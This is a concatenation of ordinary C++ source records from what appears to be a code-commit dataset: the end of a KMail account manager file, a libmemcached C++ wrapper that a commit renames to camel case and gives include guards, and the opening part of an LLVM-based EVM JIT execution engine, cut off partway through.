(*it)->writeConfig(*config);\n }\n if (withSync) config->sync();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::readConfig(void)\n{\n KConfig* config = KMKernel::config();\n KMAccount* acct;\n QString acctType, acctName;\n QCString groupName;\n int i, num;\n uint id;\n\n mAcctList.clear();\n\n KConfigGroup general(config, \"General\");\n num = general.readNumEntry(\"accounts\", 0);\n\n for (i=1; i<=num; i++)\n {\n groupName.sprintf(\"Account %d\", i);\n KConfigGroupSaver saver(config, groupName);\n acctType = config->readEntry(\"Type\");\n \/\/ Provide backwards compatibility\n if (acctType == \"advanced pop\" || acctType == \"experimental pop\")\n acctType = \"pop\";\n acctName = config->readEntry(\"Name\");\n id = config->readUnsignedNumEntry(\"Id\", 0);\n if (acctName.isEmpty()) acctName = i18n(\"Account %1\").arg(i);\n acct = create(acctType, acctName, id);\n if (!acct) continue;\n add(acct);\n acct->readConfig(*config);\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::singleCheckMail(KMAccount *account, bool _interactive)\n{\n newMailArrived = false;\n interactive = _interactive;\n\n \/\/ queue the account\n mAcctTodo.append(account);\n\n if (account->checkingMail())\n {\n kdDebug(5006) << \"account \" << account->name() << \" busy, queuing\" << endl;\n return;\n }\n\n processNextCheck(false);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::processNextCheck(bool _newMail)\n{\n kdDebug(5006) << \"processNextCheck, remaining \" << mAcctTodo.count() << endl;\n KMAccount *curAccount = 0;\n newMailArrived |= _newMail;\n\n KMAccount* acct;\n for ( acct = mAcctChecking.first(); acct; acct = mAcctChecking.next() )\n {\n if ( !acct->checkingMail() )\n {\n \/\/ check done\n kdDebug(5006) << \"account \" << acct->name() << \" finished check\" << endl;\n mAcctChecking.removeRef( acct );\n kmkernel->filterMgr()->deref();\n disconnect( acct, SIGNAL( finishedCheck( bool, CheckStatus ) ),\n this, SLOT( processNextCheck( bool ) ) );\n QString hostname = hostForAccount( acct );\n if ( !hostname.isEmpty() ) {\n if ( mServerConnections.find( hostname ) != mServerConnections.end() ) {\n mServerConnections[hostname] -= 1;\n kdDebug(5006) << \"connections to server \" << hostname\n << \" now \" << mServerConnections[hostname] << endl;\n }\n }\n }\n }\n if (mAcctChecking.isEmpty())\n {\n \/\/ all checks finished, display summary\n if ( mDisplaySummary )\n BroadcastStatus::instance()->setStatusMsgTransmissionCompleted(\n mTotalNewMailsArrived );\n emit checkedMail( newMailArrived, interactive, mTotalNewInFolder );\n mTotalNewMailsArrived = 0;\n mTotalNewInFolder.clear();\n mDisplaySummary = false;\n }\n if (mAcctTodo.isEmpty()) return;\n\n QString accountHostName;\n\n curAccount = 0;\n KMAcctList::Iterator it ( mAcctTodo.begin() );\n KMAcctList::Iterator last ( mAcctTodo.end() );\n for ( ; it != last; it++ )\n {\n accountHostName = hostForAccount(*it);\n kdDebug(5006) << \"for host \" << accountHostName\n << \" current connections=\"\n << (mServerConnections.find(accountHostName)==mServerConnections.end() ? 0 : mServerConnections[accountHostName])\n << \" and limit is \" << GlobalSettings::maxConnectionsPerHost()\n << endl;\n bool connectionLimitForHostReached =\n !accountHostName.isNull() &&\n GlobalSettings::maxConnectionsPerHost() > 0 &&\n mServerConnections.find( accountHostName ) != mServerConnections.end() &&\n mServerConnections[accountHostName] >= GlobalSettings::maxConnectionsPerHost();\n kdDebug(5006) << \"connection limit reached: \"\n << connectionLimitForHostReached << endl;\n if ( !(*it)->checkingMail() && !connectionLimitForHostReached ) {\n curAccount = (*it);\n mAcctTodo.remove( curAccount );\n break;\n }\n }\n if ( !curAccount ) return; \/\/ no account or all of them are already checking\n\n if (curAccount->type() != \"imap\" && curAccount->type() != \"cachedimap\" &&\n curAccount->folder() == 0)\n {\n QString tmp = i18n(\"Account %1 has no mailbox defined:\\n\"\n \"mail checking aborted;\\n\"\n \"check your account settings.\")\n .arg(curAccount->name());\n KMessageBox::information(0,tmp);\n emit checkedMail( false, interactive, mTotalNewInFolder );\n mTotalNewMailsArrived = 0;\n mTotalNewInFolder.clear();\n return;\n }\n\n connect( curAccount, SIGNAL( finishedCheck( bool, CheckStatus ) ),\n\t this, SLOT( processNextCheck( bool ) ) );\n\n BroadcastStatus::instance()->setStatusMsg(\n i18n(\"Checking account %1 for new mail\").arg(curAccount->name()));\n\n kdDebug(5006) << \"processing next mail check for \" << curAccount->name() << endl;\n\n curAccount->setCheckingMail(true);\n mAcctChecking.append(curAccount);\n kmkernel->filterMgr()->ref();\n curAccount->processNewMail(interactive);\n\n if ( !accountHostName.isEmpty() ) {\n if ( mServerConnections.find( accountHostName ) != mServerConnections.end() )\n mServerConnections[accountHostName] += 1;\n else\n mServerConnections[accountHostName] = 1;\n kdDebug(5006) << \"check mail started - connections for host \"\n << accountHostName << \" now is \"\n << mServerConnections[accountHostName] << endl;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::create(const QString &aType, const QString &aName, uint id)\n{\n KMAccount* act = 0;\n if (id == 0)\n id = createId();\n\n if (aType == \"local\")\n act = new KMAcctLocal(this, aName.isEmpty() ? i18n(\"Local Account\") : aName, id);\n\n if (aType == \"maildir\")\n act = new KMAcctMaildir(this, aName.isEmpty() ? i18n(\"Local Account\") : aName, id);\n\n else if (aType == \"pop\")\n act = new KMAcctExpPop(this, aName.isEmpty() ? i18n(\"POP Account\") : aName, id);\n\n else if (aType == \"imap\")\n act = new KMAcctImap(this, aName.isEmpty() ? i18n(\"IMAP Account\") : aName, id);\n\n else if (aType == \"cachedimap\")\n act = new KMAcctCachedImap(this, aName.isEmpty() ? i18n(\"IMAP Account\") : aName, id);\n\n if (act)\n {\n if (aType != \"imap\" && aType != \"cachedimap\")\n act->setFolder(kmkernel->inboxFolder());\n connect( act, SIGNAL( newMailsProcessed( const QMap<QString, int> & ) ),\n this, SLOT( addToTotalNewMailCount( const QMap<QString, int> & ) ) );\n }\n\n return act;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::add(KMAccount *account)\n{\n if (account) {\n mAcctList.append( account );\n emit accountAdded( account );\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::findByName(const QString &aName)\n{\n if (aName.isEmpty()) return 0;\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n {\n if ((*it)->name() == aName) return (*it);\n }\n\n return 0;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::find(const uint id)\n{\n if (id == 0) return 0;\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n {\n if ((*it)->id() == id) return (*it);\n }\n\n return 0;\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::first(void)\n{\n return mAcctList.first();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nKMAccount* KMAcctMgr::next(void)\n{\n return mAcctList.next();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nbool KMAcctMgr::remove( KMAccount* acct )\n{\n if( !acct )\n return false;\n mAcctList.removeRef( acct );\n emit accountRemoved( acct );\n return true;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::checkMail(bool _interactive)\n{\n newMailArrived = false;\n\n if (mAcctList.isEmpty())\n {\n KMessageBox::information(0,i18n(\"You need to add an account in the network \"\n\t\t\t\t \"section of the settings in order to \"\n\t\t\t\t \"receive mail.\"));\n return;\n }\n mDisplaySummary = true;\n\n mTotalNewMailsArrived=0;\n mTotalNewInFolder.clear();\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ;\n it.current() ; ++it )\n {\n if (!it.current()->checkExclude())\n singleCheckMail(it.current(), _interactive);\n }\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::singleInvalidateIMAPFolders(KMAccount *account) {\n account->invalidateIMAPFolders();\n}\n\n\nvoid KMAcctMgr::invalidateIMAPFolders()\n{\n if (mAcctList.isEmpty()) {\n KMessageBox::information(0,i18n(\"You need to add an account in the network \"\n \"section of the settings in order to \"\n \"receive mail.\"));\n return;\n }\n\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n singleInvalidateIMAPFolders(it.current());\n}\n\n\n\/\/-----------------------------------------------------------------------------\nQStringList KMAcctMgr::getAccounts(bool noImap) {\n\n KMAccount *cur;\n QStringList strList;\n for (cur=mAcctList.first(); cur; cur=mAcctList.next()) {\n if (!noImap || cur->type() != \"imap\") strList.append(cur->name());\n }\n\n return strList;\n\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::intCheckMail(int item, bool _interactive)\n{\n KMAccount* cur;\n newMailArrived = false;\n\n mTotalNewMailsArrived = 0;\n mTotalNewInFolder.clear();\n int x = 0;\n cur = mAcctList.first();\n while (cur)\n {\n x++;\n if (x > item) break;\n cur=mAcctList.next();\n }\n mDisplaySummary = false;\n\n singleCheckMail(cur, _interactive);\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::addToTotalNewMailCount( const QMap<QString, int> & newInFolder )\n{\n for ( QMap<QString, int>::const_iterator it = newInFolder.begin();\n it != newInFolder.end();\n ++it )\n {\n mTotalNewMailsArrived += it.data();\n if ( mTotalNewInFolder.find( it.key() ) == mTotalNewInFolder.end() )\n mTotalNewInFolder[it.key()] = it.data();\n else\n mTotalNewInFolder[it.key()] += it.data();\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nuint KMAcctMgr::createId()\n{\n QValueList<uint> usedIds;\n for ( QPtrListIterator<KMAccount> it(mAcctList) ; it.current() ; ++it )\n usedIds << it.current()->id();\n\n usedIds << 0; \/\/ 0 is default for unknown\n int newId;\n do\n {\n newId = kapp->random();\n } while ( usedIds.find(newId) != usedIds.end() );\n\n return newId;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMAcctMgr::cancelMailCheck()\n{\n for ( QPtrListIterator<KMAccount> it(mAcctList) ;\n\tit.current() ; ++it ) {\n it.current()->cancelMailCheck();\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nQString KMAcctMgr::hostForAccount( const KMAccount *acct ) const\n{\n const NetworkAccount *net_acct = dynamic_cast<const NetworkAccount*>( acct );\n return net_acct ? net_acct->host() : QString::null;\n}\n\n#include \"kmacctmgr.moc\"\n<|endoftext|>"} {"text":"<commit_before>#include <libmemcached\/memcached.h>\n\n#include <string>\n#include <vector>\n\nclass Memcached\n{\npublic:\n\n Memcached() \n : \n memc(),\n result()\n {\n memcached_create(&memc);\n }\n\n Memcached(memcached_st *clone) \n : \n memc(),\n result()\n {\n memcached_clone(&memc, clone);\n }\n\n ~Memcached()\n {\n memcached_free(&memc);\n }\n\n bool fetch(std::string &key, \n std::string &ret_val,\n size_t *key_length, \n size_t *value_length,\n uint32_t *flags,\n memcached_return *rc)\n {\n char ret_key[MEMCACHED_MAX_KEY];\n char *value= memcached_fetch(&memc, ret_key, key_length,\n value_length, flags, rc);\n if (value)\n {\n ret_val.assign(value);\n key.assign(ret_key);\n return true;\n }\n return false;\n }\n\n std::string get(const std::string &key, size_t *value_length) \n {\n uint32_t flags;\n memcached_return rc;\n std::string ret_val;\n\n char *value= memcached_get(&memc, key.c_str(), key.length(),\n value_length, &flags, &rc);\n if (value)\n {\n ret_val.assign(value);\n }\n return ret_val;\n }\n\n std::string get_by_key(const std::string &master_key, \n const std::string &key, \n size_t *value_length)\n {\n uint32_t flags;\n memcached_return rc;\n std::string ret_val;\n\n char *value= memcached_get_by_key(&memc, master_key.c_str(), master_key.length(), \n key.c_str(), key.length(),\n value_length, &flags, &rc);\n if (value)\n {\n ret_val.assign(value);\n }\n return ret_val;\n }\n\n bool mget(std::vector<std::string> &keys)\n {\n std::vector<const char *> real_keys;\n std::vector<size_t> key_len;\n \/*\n * Construct an array which will contain the length\n * of each of the strings in the input vector. Also, to\n * interface with the memcached C API, we need to convert\n * the vector of std::string's to a vector of char *.\n *\/\n real_keys.reserve(keys.size());\n key_len.reserve(keys.size());\n\n std::vector<std::string>::iterator it= keys.begin();\n\n while (it != keys.end())\n {\n real_keys.push_back(const_cast<char *>((*it).c_str()));\n key_len.push_back((*it).length());\n ++it;\n }\n\n \/*\n * If the std::vector of keys is empty then we cannot \n * call memcached_mget as we will get undefined behavior.\n *\/\n if (!real_keys.empty())\n {\n memcached_return rc= memcached_mget(&memc, &real_keys[0], &key_len[0], \n real_keys.size());\n return (rc == MEMCACHED_SUCCESS);\n }\n\n return false;\n }\n\n bool set(const std::string &key, \n const std::string &value,\n time_t expiration,\n uint32_t flags)\n {\n memcached_return rc= memcached_set(&memc, \n key.c_str(), key.length(),\n value.c_str(), value.length(),\n expiration, flags);\n return (rc == MEMCACHED_SUCCESS || rc == MEMCACHED_BUFFERED);\n }\n\n bool set_all(std::vector<std::string> &keys,\n std::vector<std::string> &values,\n time_t expiration,\n uint32_t flags)\n {\n if (keys.size() != values.size())\n {\n return false;\n }\n bool retval= true;\n std::vector<std::string>::iterator key_it= keys.begin();\n std::vector<std::string>::iterator val_it= values.begin();\n while (key_it != keys.end())\n {\n retval= set((*key_it), (*val_it), expiration, flags);\n if (retval == false)\n {\n return retval;\n }\n ++key_it;\n ++val_it;\n }\n return retval;\n }\n\n bool set_by_key(const std::string &master_key, \n const std::string &key, \n const std::string &value,\n time_t expiration,\n uint32_t flags)\n {\n memcached_return rc= memcached_set_by_key(&memc, master_key.c_str(), \n master_key.length(),\n key.c_str(), key.length(),\n value.c_str(), value.length(),\n expiration,\n flags);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool increment(const std::string &key, unsigned int offset, uint64_t *value)\n {\n memcached_return rc= memcached_increment(&memc, key.c_str(), key.length(),\n offset, value);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool decrement(const std::string &key, unsigned int offset, uint64_t *value)\n {\n memcached_return rc= memcached_decrement(&memc, key.c_str(), \n key.length(),\n offset, value);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n\n bool add(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_add(&memc, key.c_str(), key.length(), \n value.c_str(), value.length(), 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool add_by_key(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_add_by_key(&memc, \n master_key.c_str(),\n master_key.length(),\n key.c_str(),\n key.length(),\n value.c_str(), \n value.length(),\n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool replace(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_replace(&memc, key.c_str(), key.length(),\n value.c_str(), value.length(),\n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool replace_by_key(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_replace_by_key(&memc, \n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(), \n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool prepend(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_prepend(&memc, key.c_str(), key.length(),\n value.c_str(), value.length(), 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool prepend_by_key(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_prepend_by_key(&memc, \n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(),\n 0,\n 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool append(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_append(&memc, \n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(), \n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool append_by_key(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_append_by_key(&memc,\n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(), \n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool cas(const std::string &key, \n const std::string &value, \n uint64_t cas_arg)\n {\n memcached_return rc= memcached_cas(&memc, key.c_str(), key.length(),\n value.c_str(), value.length(), \n 0, 0, cas_arg);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool cas_by_key(const std::string &master_key, \n const std::string &key, \n const std::string &value, \n uint64_t cas_arg)\n {\n memcached_return rc= memcached_cas_by_key(&memc,\n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(),\n 0, 0, cas_arg);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n \/\/ using 'remove' vs. 'delete' since 'delete' is a keyword \n bool remove(const std::string &key)\n {\n memcached_return rc= memcached_delete(&memc, key.c_str(), key.length(), 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool delete_by_key(const std::string &master_key, \n const std::string &key)\n {\n memcached_return rc= memcached_delete_by_key(&memc, \n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(), \n 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool flush(time_t expiration)\n {\n memcached_return rc= memcached_flush(&memc, expiration);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool fetch_execute(memcached_execute_function *callback,\n void *context,\n unsigned int num_of_callbacks)\n {\n memcached_return rc= memcached_fetch_execute(&memc,\n callback,\n context,\n num_of_callbacks);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n const std::string lib_version() const\n {\n const char *ver= memcached_lib_version();\n const std::string version(ver);\n return version;\n }\n\nprivate:\n memcached_st memc;\n memcached_result_st result;\n};\n<commit_msg>Updated C++ interface to have include guards. Also modified the naming convention for the functions in the C++ interface. We should use camel case for the C++ interface.<commit_after>\/*\n * Summary: C++ interface for memcached server\n *\n * Copy: See Copyright for the status of this software.\n *\n * Authors: Padraig O'Sullivan, Patrick Galbraith\n *\/\n\n#ifndef LIBMEMCACHEDPP_H\n#define LIBMEMCACHEDPP_H\n\n#include <libmemcached\/memcached.h>\n\n#include <string>\n#include <vector>\n\nclass Memcached\n{\npublic:\n\n Memcached() \n : \n memc(),\n result()\n {\n memcached_create(&memc);\n }\n\n Memcached(memcached_st *clone) \n : \n memc(),\n result()\n {\n memcached_clone(&memc, clone);\n }\n\n ~Memcached()\n {\n memcached_free(&memc);\n }\n\n bool fetch(std::string &key, \n std::string &ret_val,\n size_t *key_length, \n size_t *value_length,\n uint32_t *flags,\n memcached_return *rc)\n {\n char ret_key[MEMCACHED_MAX_KEY];\n char *value= memcached_fetch(&memc, ret_key, key_length,\n value_length, flags, rc);\n if (value)\n {\n ret_val.assign(value);\n key.assign(ret_key);\n return true;\n }\n return false;\n }\n\n std::string get(const std::string &key, size_t *value_length) \n {\n uint32_t flags;\n memcached_return rc;\n std::string ret_val;\n\n char *value= memcached_get(&memc, key.c_str(), key.length(),\n value_length, &flags, &rc);\n if (value)\n {\n ret_val.assign(value);\n }\n return ret_val;\n }\n\n std::string getByKey(const std::string &master_key, \n const std::string &key, \n size_t *value_length)\n {\n uint32_t flags;\n memcached_return rc;\n std::string ret_val;\n\n char *value= memcached_get_by_key(&memc, \n master_key.c_str(), master_key.length(), \n key.c_str(), key.length(),\n value_length, &flags, &rc);\n if (value)\n {\n ret_val.assign(value);\n }\n return ret_val;\n }\n\n bool mget(std::vector<std::string> &keys)\n {\n std::vector<const char *> real_keys;\n std::vector<size_t> key_len;\n \/*\n * Construct an array which will contain the length\n * of each of the strings in the input vector. Also, to\n * interface with the memcached C API, we need to convert\n * the vector of std::string's to a vector of char *.\n *\/\n real_keys.reserve(keys.size());\n key_len.reserve(keys.size());\n\n std::vector<std::string>::iterator it= keys.begin();\n\n while (it != keys.end())\n {\n real_keys.push_back(const_cast<char *>((*it).c_str()));\n key_len.push_back((*it).length());\n ++it;\n }\n\n \/*\n * If the std::vector of keys is empty then we cannot \n * call memcached_mget as we will get undefined behavior.\n *\/\n if (!real_keys.empty())\n {\n memcached_return rc= memcached_mget(&memc, &real_keys[0], &key_len[0], \n real_keys.size());\n return (rc == MEMCACHED_SUCCESS);\n }\n\n return false;\n }\n\n bool set(const std::string &key, \n const std::string &value,\n time_t expiration,\n uint32_t flags)\n {\n memcached_return rc= memcached_set(&memc, \n key.c_str(), key.length(),\n value.c_str(), value.length(),\n expiration, flags);\n return (rc == MEMCACHED_SUCCESS || rc == MEMCACHED_BUFFERED);\n }\n\n bool setAll(std::vector<std::string> &keys,\n std::vector<std::string> &values,\n time_t expiration,\n uint32_t flags)\n {\n if (keys.size() != values.size())\n {\n return false;\n }\n bool retval= true;\n std::vector<std::string>::iterator key_it= keys.begin();\n std::vector<std::string>::iterator val_it= values.begin();\n while (key_it != keys.end())\n {\n retval= set((*key_it), (*val_it), expiration, flags);\n if (retval == false)\n {\n return retval;\n }\n ++key_it;\n ++val_it;\n }\n return retval;\n }\n\n bool setByKey(const std::string &master_key, \n const std::string &key, \n const std::string &value,\n time_t expiration,\n uint32_t flags)\n {\n memcached_return rc= memcached_set_by_key(&memc, master_key.c_str(), \n master_key.length(),\n key.c_str(), key.length(),\n value.c_str(), value.length(),\n expiration,\n flags);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool increment(const std::string &key, unsigned int offset, uint64_t *value)\n {\n memcached_return rc= memcached_increment(&memc, key.c_str(), key.length(),\n offset, value);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool decrement(const std::string &key, unsigned int offset, uint64_t *value)\n {\n memcached_return rc= memcached_decrement(&memc, key.c_str(), \n key.length(),\n offset, value);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n\n bool add(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_add(&memc, key.c_str(), key.length(), \n value.c_str(), value.length(), 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool addByKey(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_add_by_key(&memc, \n master_key.c_str(),\n master_key.length(),\n key.c_str(),\n key.length(),\n value.c_str(), \n value.length(),\n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool replace(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_replace(&memc, key.c_str(), key.length(),\n value.c_str(), value.length(),\n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool replaceByKey(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_replace_by_key(&memc, \n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(), \n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool prepend(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_prepend(&memc, key.c_str(), key.length(),\n value.c_str(), value.length(), 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool prependByKey(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_prepend_by_key(&memc, \n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(),\n 0,\n 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool append(const std::string &key, const std::string &value)\n {\n memcached_return rc= memcached_append(&memc, \n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(), \n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool appendByKey(const std::string &master_key, \n const std::string &key, \n const std::string &value)\n {\n memcached_return rc= memcached_append_by_key(&memc,\n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(), \n 0, 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool cas(const std::string &key, \n const std::string &value, \n uint64_t cas_arg)\n {\n memcached_return rc= memcached_cas(&memc, key.c_str(), key.length(),\n value.c_str(), value.length(), \n 0, 0, cas_arg);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool casByKey(const std::string &master_key, \n const std::string &key, \n const std::string &value, \n uint64_t cas_arg)\n {\n memcached_return rc= memcached_cas_by_key(&memc,\n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(),\n value.c_str(), \n value.length(),\n 0, 0, cas_arg);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n \/\/ using 'remove' vs. 'delete' since 'delete' is a keyword \n bool remove(const std::string &key)\n {\n memcached_return rc= memcached_delete(&memc, key.c_str(), key.length(), 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool removeByKey(const std::string &master_key, \n const std::string &key)\n {\n memcached_return rc= memcached_delete_by_key(&memc, \n master_key.c_str(), \n master_key.length(),\n key.c_str(), \n key.length(), \n 0);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool flush(time_t expiration)\n {\n memcached_return rc= memcached_flush(&memc, expiration);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n bool fetchExecute(memcached_execute_function *callback,\n void *context,\n unsigned int num_of_callbacks)\n {\n memcached_return rc= memcached_fetch_execute(&memc,\n callback,\n context,\n num_of_callbacks);\n return (rc == MEMCACHED_SUCCESS);\n }\n\n const std::string libVersion() const\n {\n const char *ver= memcached_lib_version();\n const std::string version(ver);\n return version;\n }\n\nprivate:\n memcached_st memc;\n memcached_result_st result;\n};\n\n#endif \/* LIBMEMCACHEDPP_H *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"ExecutionEngine.h\"\n\n#include <chrono>\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wunused-parameter\"\n\n#include <llvm\/IR\/LLVMContext.h>\n#include <llvm\/IR\/Module.h>\n#include <llvm\/ADT\/Triple.h>\n#include <llvm\/ExecutionEngine\/ExecutionEngine.h>\n#include <llvm\/ExecutionEngine\/SectionMemoryManager.h>\n#include <llvm\/ExecutionEngine\/GenericValue.h>\n#include <llvm\/ExecutionEngine\/MCJIT.h>\n#include <llvm\/Support\/TargetSelect.h>\n#include <llvm\/Support\/Signals.h>\n#include <llvm\/Support\/PrettyStackTrace.h>\n#include <llvm\/Support\/Host.h>\n\n#pragma GCC diagnostic pop\n\n#include \"Runtime.h\"\n#include \"Memory.h\"\n#include \"Stack.h\"\n#include \"Type.h\"\n#include \"Compiler.h\"\n#include \"Cache.h\"\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env)\n{\n\tstd::string key{reinterpret_cast<char const*>(_code.data()), _code.size()};\n\t\/*if (auto cachedExec = Cache::findExec(key))\n\t{\n\t\treturn run(*cachedExec, _data, _env);\n\t}*\/\n\n\tauto module = Compiler({}).compile(_code);\n\t\/\/module->dump();\n\treturn run(std::move(module), _data, _env, _code);\n}\n\nnamespace\n{\n\ntypedef ReturnCode(*EntryFuncPtr)(Runtime*);\n\nReturnCode runEntryFunc(EntryFuncPtr _mainFunc, Runtime* _runtime)\n{\n\t\/\/ That function uses long jumps to handle \"execeptions\".\n\t\/\/ Do not create any non-POD objects here\n\n\tReturnCode returnCode{};\n\tauto sj = setjmp(_runtime->getJmpBuf());\n\tif (sj == 0)\n\t\treturnCode = _mainFunc(_runtime);\n\telse\n\t\treturnCode = static_cast<ReturnCode>(sj);\n\n\treturn returnCode;\n}\n\n}\n\nReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code)\n{\n\t\/\/ TODO: Use it in evmcc\n\t\/\/llvm::sys::PrintStackTraceOnErrorSignal();\n\t\/\/static const auto program = \"EVM JIT\";\n\t\/\/llvm::PrettyStackTraceProgram X(1, &program);\n\n\tstatic std::unique_ptr<llvm::ExecutionEngine> ee; \/\/ TODO: Use Managed Objects from LLVM?\n\n\ttypedef ReturnCode(*EntryFuncPtr)(Runtime*);\n\tEntryFuncPtr entryFuncPtr{};\n\n\n\tauto&& mainFuncName = _module->getModuleIdentifier();\n\n\tif (!ee)\n\t{\n\t\tllvm::InitializeNativeTarget();\n\t\tllvm::InitializeNativeTargetAsmPrinter();\n\n\t\tllvm::EngineBuilder builder(_module.get());\n\t\tbuilder.setEngineKind(llvm::EngineKind::JIT);\n\t\tbuilder.setUseMCJIT(true);\n\t\tstd::unique_ptr<llvm::SectionMemoryManager> memoryManager(new llvm::SectionMemoryManager);\n\t\tbuilder.setMCJITMemoryManager(memoryManager.get());\n\t\tbuilder.setOptLevel(llvm::CodeGenOpt::None);\n\n\t\tauto triple = llvm::Triple(llvm::sys::getProcessTriple());\n\t\tif (triple.getOS() == llvm::Triple::OSType::Win32)\n\t\t\ttriple.setObjectFormat(llvm::Triple::ObjectFormatType::ELF); \/\/ MCJIT does not support COFF format\n\t\t_module->setTargetTriple(triple.str());\n\n\t\tee.reset(builder.create());\n\t\tif (!ee)\n\t\t\treturn ReturnCode::LLVMConfigError;\n\n\t\t_module.release(); \/\/ Successfully created llvm::ExecutionEngine takes ownership of the module\n\t\tmemoryManager.release(); \/\/ and memory manager\n\n\t\t\/\/ee->setObjectCache(Cache::getObjectCache());\n\t}\n\telse\n\t{\n\t\tif (entryFuncPtr = (EntryFuncPtr)ee->getFunctionAddress(_module->getModuleIdentifier()))\n\t\t{\n\t\t\tentryFuncPtr = nullptr;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tee->addModule(_module.get());\n\t\t\t\/\/std::cerr << _module->getModuleIdentifier() << \"\\n\";\n\t\t\t_module.release();\n\t\t}\n\t}\n\n\tassert(ee);\n\n\t\/\/ExecBundle exec;\n\t\/\/exec.engine.reset(builder.create());\n\t\/\/if (!exec.engine)\n\t\/\/\treturn ReturnCode::LLVMConfigError;\n\n\t\/\/ 